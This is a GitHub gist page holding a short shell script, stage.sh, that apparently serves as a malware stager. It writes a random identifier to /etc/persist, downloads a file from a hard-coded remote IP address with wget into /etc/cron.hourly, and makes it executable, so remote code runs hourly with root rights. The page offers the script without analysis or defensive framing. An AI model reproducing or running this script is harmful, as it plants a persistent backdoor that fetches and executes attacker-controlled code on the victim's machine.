Skip to content

Instantly share code, notes, and snippets.

@AetherEternity
Created October 28, 2020 20:43
Show Gist options
  • Select an option

  • Save AetherEternity/484fec6fb0f27ef6ec81b58aee56edd1 to your computer and use it in GitHub Desktop.

Select an option

Save AetherEternity/484fec6fb0f27ef6ec81b58aee56edd1 to your computer and use it in GitHub Desktop.

Revisions

  1. AetherEternity created this gist Oct 28, 2020.
    8 changes: 8 additions & 0 deletions stage.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    #!/bin/sh
    NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)

    echo $NEW_UUID > /etc/persist

    BASE="http://188.143.222.218:4455/persist?uuid="
    wget -O /etc/cron.hourly/persist "$BASE$NEW_UUID"
    chmod +x /etc/cron.hourly/persist